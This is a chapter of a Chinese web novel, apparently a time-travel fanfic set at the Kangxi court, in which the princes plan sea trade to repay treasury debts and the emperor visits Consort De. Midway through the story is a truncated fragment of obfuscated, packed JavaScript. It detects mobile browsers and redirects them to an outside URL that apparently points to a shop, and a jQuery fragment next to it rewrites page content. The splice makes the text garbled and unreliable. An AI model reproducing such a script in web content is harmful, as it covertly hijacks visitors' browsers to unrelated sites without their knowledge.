290. 这个四爷他修道(73)

作品:《失忆女主带着残疾系统(快穿)

    众人想着这法子确实妥当,神色就轻松多了,毕竟在座的每个人都有欠银,若是这么着还钱,他们自是愿意的。


    相比某些远了的宗亲勋贵,皇子们的日子到底好过些,康熙时有赏赐,他们自己也有庄子、铺子等产业,如果府里人少,其实年年都有结余的。


    在大家都面露轻松的时候,明宸却正色道:“此一去,除了处理国库亏空,还需达到练兵、探查周围海域及属国的情况、更细致地完善周边舆图等目的,最好能同步布防驻点,如此才能开辟稳定的航线,便于以后的海贸顺利进行。”


    康熙左手搭在右手腕上,手指点着腕上的珠串,这个老四啊,恨不能用一件事办成好几件事,他思忖着这件事的可行程度,以及该派谁去办最好。


    直郡王听到这话,就道:“这样的话就跑不远了,只能在近海来往……去南洋、倭子国和朝鲜做生意?”


    九阿哥赞同地点点头:“可以打听一下这些地方对咱们的哪些东西比较喜欢,选那些能卖高价的……如果想节省时间,大可分三路同时出发。”


    “若是去一次的获利不足以偿还欠款呢?”十阿哥问。


    八贝勒笑得温和:“十弟怎会忧心这个?只要各家拿了银子出来,偿还欠银的事就由不得他们愿不愿了,咱们若是着急,头次海贸所得便都作为欠银入库,若是不着急,每出海回来一次还一些就是了,出海又不是只能去一次!”


    九阿哥连连点头,就是这个理。


    “可咱们现在的船……能航行那么远吗?海上汹涌莫测,不能只考虑海贸获利的事,还得能安全回来。”十三阿哥面露担忧。


    十四阿哥见他们都说话了,有点着急道:“是啊,除了船,船上的火炮也得厉害吧,万一遇到海盗或是洋人,打不过的话怕是损失巨大。”


    十二阿哥左右看看也发言了:“还有语言,咱们要和其他地方做生意,无法交流也不行的。”


    康熙看着儿子们你一言我一语的,已经把需要解决的问题都提出来了,看到这兄弟相合、齐心协力的一幕,他的眼中不由得漾起笑意。


    他听到老四笑着回道:“战船……有,我府里有图纸,回头我亲自送到宫里来,至于火炮……不是有戴梓吗?他以前就成功造出了‘威远将军’,想必也能造出适用于海战的火炮。”


    “十二弟说的交流障碍,朝中若是寻不到精通属国语言的,不妨从民间征调,往后咱们也可培养一些。”五贝勒道。


    父子十数人在御书房商量一番,便知道这事真的可做。


    于是,康熙最后道:“既然你们都觉得可行,那就着手办吧!”


    他沉吟片刻,开始分派差事:“老八、老九,你们负责说服宗亲勋贵拿银子参股,从户部抄一份欠款名单,凡是欠银数额大的,都得保证他们参与此事。”


    “儿臣遵旨。”八贝勒、九阿哥起身领命。


    “老七,你去工部找戴梓,让他挑选匠人,带着他们前往西山秘密研制火炮。”


    七贝勒一愣,接着连忙起身领命:“儿臣遵旨。”


    让老七督造火炮,这是所有人都没想到的事,可仔细一想又觉得合适,老七……谨慎惯了,这差事给他必能办好。


    “老十三,你今年二十出头了吧?可敢去距京城千里之外当差?”康熙看向这个素来很喜欢的儿子。


    十三阿哥起身,潇洒一笑:“皇阿玛但有吩咐,儿臣欣然而往!”


    “那好,你去福建督造战船,此事亦需保密。”


    “儿臣遵旨!”


    安排完这些,康熙又看向直郡王,这个儿子已过而立之年了,若寿数七十,他的人生已然过半了啊!


    “老大。”他唤了一声。


    直郡王立刻起身听命。


    康熙眸光复杂,手指捏住了腕上的珠串:“朕派你去训练海军,可愿?”


    “儿臣愿,儿臣遵旨。”直郡王声音坚定。


    康熙多叮嘱了几句:“允你从军中选人,记住,练的是海军,不是水师,明白吗?”


    “儿臣明白!”直郡王抬头,明亮有神的眼睛迎上他的目光,才发现老父亲眸中有担忧有放心,顿时让他鼻子一酸,不由得湿了眼眶,他单膝跪地,像军中将领那般行礼,“儿臣必不负皇阿玛所托!”


    “好好,保清办事,朕放心!”


    直郡王抹了下眼角起来,坐回去时眼睛还有些红,“保清”这乳名,已有好多年不曾听到皇阿玛叫了,没想到而今还能再听到。


    理亲王安慰地拍了拍直郡王的胳膊,大概心中的情绪有多复杂,唯有他们彼此能懂了。


    “老二,命你自各部衙门抽调人手组建海关总领事务衙门,不仅要定品定级,还需搭起架子,可能做到?”


    理亲王起身行礼:“儿臣遵旨。”


    康熙点点头,对于这个亲手教养长大的儿子,其能力如何他心知肚明,并不担心这事做不好。


    他又叫:“老三,你去整理大清周边属国资料及舆图,越详尽越好,之后誊抄给老八、老九,出海一事由他二人全权负责。”


    “儿臣遵旨。”三爷起身领命。


    八贝勒、九阿哥再次起身领命,一听出海做生意的事交给他们,九阿哥脸上显见的很高兴,倒是八贝勒抬头看向了康熙,正对上他颇有深意的眼睛,八贝勒一顿之后了然,露出了若有所思之色。


    这是……让他借着海贸一事,多留意属国之事吗?


    如此一来,就剩下明宸、五贝勒、十阿哥、十二阿哥、十四阿哥没有安排差事了。


    康熙打量着这五个儿子,发现老四依然淡定坐着,老五有点欲言又止,像是担心怎么没安排他,十二微微蹙着眉,不知在想什么,老十和十四都有些急切,却又勉强按捺住了。


    他不由暗哂,既然决定用儿子了,那自然是都要用的,他斟酌片刻道:“老四、老五,你们带着老十和十四,着手修订关税吧!”


    四个儿子起身领命。


    康熙最后看向十二阿哥:“十二,你既然提了语言交流的事,那挑选精通属国语言的人出海,以及选人培养的事就交给你了!”


    十二阿哥也起身领命。


    事情都安排完了,康熙就打发儿子们走人了,虽然今日议事时间很长,但他不仅不觉得疲累,反而精神亢奋。


    他背着手回寝宫的时候,脸上控制不住地带着笑意,看看吧,看看这些儿子们能把事情办成什么样,就算办坏了,再设法补救便是,可他们能兄弟齐心做事,这让他老怀甚慰。


    但回想今日议事的情景,康熙最终注意到的却是老四,这个儿子啊……他心里有激赏和惊喜,也有些复杂和意外。


    “梁九功,让人去永和宫一趟,朕今晚过去。”


    梁九功连忙躬身应了,垂下的眼中满是惊讶,后宫高位嫔妃都有皇子,这些皇子都年长了,她们近些年可久不伺候了,皇上这意思竟是要去永和宫过夜?


    不管他心中作何想法,都第一时间打发了小太监去永和宫传话。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294140|180148||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >皇上要来是荣宠啊,永和宫上下惊喜莫名,奴才们脚不沾地去御膳房传膳、准备洗漱用水,唯有德妃心里不大高兴。


    自打生了老十四,皇上就不怎么临幸她了,那时候老四都十岁了……不独她这样,宜妃也是如此,皇上开始偏爱年轻的小贵人,这些年顶多隔三差五来用个膳、坐一会儿,晚上留宿是再没有的事。


    没想到好端端的,又得夜里伺候皇上。


    德妃神色淡淡的,由着奴才们伺候了沐浴更衣,身上擦了香脂,口中含了香片,头发也清洗了晾干,用香油抹了梳通,再让梳头宫女仔细盘成发髻,挑了和衣裳搭配的首饰戴好,这一套折腾了小半天才收拾好。


    接着,她像个装扮精致的美人俑坐在榻上等候,还不能多动,免得皱了衣裳、乱了饰物。


    等天色暗了,宫门口守着的小太监来报信说看到圣驾的时候,她扶着尚嬷嬷的手出去迎接,从宫殿门口到宫门口的路上,她渐渐扬起恰到好处的温柔笑容。


    康熙进了永和宫的门,就看到一位亭亭而立的温雅美人,在其蹲身行礼的时候,他扶住了她的手,顺势攥在掌心,笑道:“爱妃请起,今儿见到爱妃,朕才知‘岁月不败美人’是何意。”


    德妃微微低头一笑,声音既轻又慢:“皇上谬赞了!”


    数十个奴才跟在后面,康熙携德妃进殿,径直往软榻上坐,尚嬷嬷笑着退出来,安排人去传膳。


    寝殿里萦绕着淡淡的清新香味,康熙嗅了嗅,问:“可是换了熏香?这味道竟从未闻过。”


    德妃笑容深了些:“大约是年纪大了,臣妾晚上睡得不大好,老四媳妇知道后,亲自翻了医书调了这道香,说是加了点儿药材,平日闻着有助于夜里安眠,臣妾用了挺长日子了,确实受用。”


    “老四孝顺,老四媳妇也孝顺。”康熙笑道。


    德妃心里一松,她只打听到今儿众皇子被叫去御书房议事了,但为了什么的却不清楚,老四议事后直接出宫了,且这孩子从来不会和她多说前朝的事,至于老十四……议事后就窜没影了,也不知干什么去了。


    两儿子没一个知道她这个额娘在后宫接到皇上晚间要来时想了多少,就怕他们哪个惹了皇上不快,如今看来不仅没有,反而是好事?


    “众皇子都是孝顺的,老四两口子也不过是尽本分罢了。”德妃不想让自己的儿子突出来,便这么回道。


    康熙拍了拍她的手,面上笑意不散:“你啊你,朕实心夸他们呢!”


    德妃心知这话潜意识是说她太小心了,可大半辈子过去了,她习惯了谨慎本分,改也改不了了。


    所以她只浅浅笑着不说话。


    两人一道吃用了些,德妃慢悠悠地只吃了一点儿,见康熙放了筷子,她便也放下了。之后消了会儿食,她伺候着康熙洗漱宽衣,两人就去床上了。


    奴才们放下层层帐幔,虽有留灯,可帐幔阻隔就昏暗了许多,康熙探手过来的时候,德妃柔顺承宠,许久后云消雨歇,康熙没再让她起身伺候,只用帕子擦了擦,就揽着她让睡了。


    很快,康熙的鼾声响起,德妃却怎么也睡不着,好些年都是独睡的,如今身边躺个人她根本不习惯,可又不敢翻身吵醒他,只能睁着眼干等天亮。


    第二日一早,德妃亲自服侍康熙穿戴好,送了他离开才返回来睡回笼觉。


    幸而宫里没有皇后,太后人宽和,每月只初一、十五让后宫嫔妃请安,旁的时候无事都不必去,她是永和宫主位娘娘,在永和宫里如何自是由她的。